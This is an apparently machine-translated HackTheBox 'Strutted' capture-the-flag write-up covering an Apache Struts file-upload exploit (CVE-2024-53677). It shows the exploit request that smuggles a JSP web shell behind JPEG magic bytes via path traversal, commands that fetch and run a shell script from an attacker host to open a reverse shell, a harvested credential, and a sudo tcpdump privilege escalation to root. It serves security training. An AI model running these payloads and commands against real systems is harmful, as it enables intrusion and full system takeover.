HackTheBox – Strutted Writeup

Hack The Box
app.hackthebox.com

This is a writeup of HackTheBox “Strutted”.


User Flag

Perform a port scan.

$ nmap -Pn -sCV -A -T4 -p- 10.10.11.59 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://strutted.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

You now know the operational status of the port.

portserviceversion
22sshOpenSSH 8.9p1
80httpnginx 1.18.0

Now that I know the domain, I will add it./etc/hosts

10.10.11.59     strutted.htb

http://strutted.htb/Go to.

image.png

I was able to download the source code of the website from the top right.Download

pom.xmlIt turns out that it is used as a framework.Apache struts 6.3.0.1

https://qiita.com/embed-contents/link-card#qiita-embed-content__2f5ee634bf49fee0032a274ba505e328

strutted/pom.xml

(省略)

<properties>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <maven.compiler.source>17</maven.compiler.source>
    <maven.compiler.target>17</maven.compiler.target>
    <struts2.version>6.3.0.1</struts2.version>
    <jetty-plugin.version>9.4.46.v20220331</jetty-plugin.version>
    <maven.javadoc.skip>true</maven.javadoc.skip>
    <jackson.version>2.14.1</jackson.version>
    <jackson-data-bind.version>2.14.1</jackson-data-bind.version>
</properties>

apache struts cve 2024I found an RCE vulnerability.CVE-2024-53677

The vulnerability appears to allow arbitrary files to be uploaded to arbitrary directories via path traversal.
As a result, it seems that it can be connected to RCE by uploading a malicious JSP file.

https://qiita.com/embed-contents/link-card#qiita-embed-content__be689304e990a5d9d95dc0f159ef6cbc
https://qiita.com/embed-contents/link-card#qiita-embed-content__d710160141716896dbf741c69b711888

When I checked the code for the file upload function、,, I found that file extensions are allowed.jpegpnggif

/strutted/src/main/java/org/strutted/htb/Upload.java

private boolean isAllowedContentType(String contentType) {
    String[] allowedTypes = {"image/jpeg", "image/png", "image/gif"};
    for (String allowedType : allowedTypes) {
        if (allowedType.equalsIgnoreCase(contentType)) {
            return true;
        }
    }
    return false;
}

Look at the process of determining the extension.
Upload limit is based on the magic number of the file.

/strutted/src/main/java/org/strutted/htb/Upload.java

private boolean isImageByMagicBytes(File file) {
    byte[] header = new byte[8];
    try (InputStream in = new FileInputStream(file)) {
        int bytesRead = in.read(header, 0, 8);
        if (bytesRead < 8) {
            return false;
        }

        // JPEG
        if (header[0] == (byte)0xFF && header[1] == (byte)0xD8 && header[2] == (byte)0xFF) {
            return true;
        }

        // PNG
        if (header[0] == (byte)0x89 && header[1] == (byte)0x50 && header[2] == (byte)0x4E && header[3] == (byte)0x47) {
            return true;
        }

        // GIF (GIF87a or GIF89a)
        if (header[0] == (byte)0x47 && header[1] == (byte)0x49 && header[2] == (byte)0x46 &&
            header[3] == (byte)0x38 && (header[4] == (byte)0x37 || header[4] == (byte)0x39) && header[5] == (byte)0x61) {
            return true;
        }

I created a test jpeg file with a magic number and successfully uploaded the file.

$ print '\xFF\xD8\xFF' > test.jpeg      
                                                                                                       
┌──(kali㉿kali)-[~/Strutted]
└─$ echo 'hello' >> test.jpeg
image.png

Looking at various PoCs, it seems that JSP code can be inserted after the magic number.
The JSP shellcode used the following.

https://qiita.com/embed-contents/link-card#qiita-embed-content__8ac7615b6a912ffb98108f4ac7bcd80d

An excerpt of the Body of the POST request is as follows.


(省略)

-----------------------------270809347519694441851360887477
Content-Disposition: form-data; name="Upload"; filename="test.jpeg"
Content-Type: image/jpeg

ÿØÿ
<%@ page import="java.io.*, java.util.*, java.net.*" %>
<%

(省略)

%>
-----------------------------270809347519694441851360887477
Content-Disposition: form-data; name="top.UploadFileName"

../../revshell.jsp
-----------------------------270809347519694441851360887477--

It should be noted that do not add and in the middle boundary.
If you attach this, path traversal will fail.name="Upload"name="top.UploadFileName"--

If the upload is successful, you can see from the response that the file was uploaded to .uploads/20250408_144513/../../revshell.jsp

image.png

revshell.jsp?action=cmd&cmd=lsRCE is successful when you send a request like this.

image.png

Execute the following commands in order to create a reverse shell.

  1. cmd=curl http://10.10.14.136:8000/shell.sh -o /tmp/shell.sh
  2. chmod +x /tmp/shell.sh
  3. bash /tmp/shell.sh

I was able to get the shell of tomcat.

$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.136] from (UNKNOWN) [10.10.11.59] 56452
bash: cannot set terminal process group (1052): Inappropriate ioctl for device
bash: no job control in this shell
tomcat@strutted:~$ whoami
whoami
tomcat

Set the TTY.

$ python3 -c 'import pty; pty.spawn("/bin/bash")'

If you look at the Tomcat account authentication file, you will see a password string.tomcat-users.xml

/etc/tomcat9/tomcat-users.xml


(省略)

<!--
  <user username="admin" password="<must-be-changed>" roles="manager-gui"/>
  <user username="robot" password="<must-be-changed>" roles="manager-script"/>
  <role rolename="manager-gui"/>
  <role rolename="admin-gui"/>
  <user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>
--->

(省略)

SSH connection was successful with the obtained password.

$ ssh james@strutted.htb

/home/james/user.txtI was able to get the user flag from.

$ cat user.txt
129b84a2a8e0925db69c37fe9c51ae0b

Root Flag

sudo -lCheck with the settings./usr/sbin/tcpdump

$ sudo -l
Matching Defaults entries for james on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User james may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/sbin/tcpdump

I found privilege escalation in GTFOBins.

https://qiita.com/embed-contents/link-card#qiita-embed-content__5ff8aeda14f36ede118e5111f95bccb7

I was able to do it as described and set SUID in bash.

-bash-5.1$ COMMAND='chmod u+s /bin/bash'
-bash-5.1$ TF=$(mktemp)
-bash-5.1$ echo "$COMMAND" > $TF
-bash-5.1$ chmod +x $TF
-bash-5.1$ sudo /usr/sbin/tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Maximum file limit reached: 1
1 packet captured
4 packets received by filter
0 packets dropped by kernel
-bash-5.1$ whoami
james
-bash-5.1$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1396520 Mar 14  2024 /bin/bash

I was able to elevate to root privileges using bash’s SUID.

-bash-5.1$ /bin/bash -p
bash-5.1# whoami
root

/root/root.txtI was able to get the root flag from.

bash-5.1# cat /root/root.txt
39fb83665a3ce29520d7807a9363bad5

Leave a Reply

Your email address will not be published. Required fields are marked *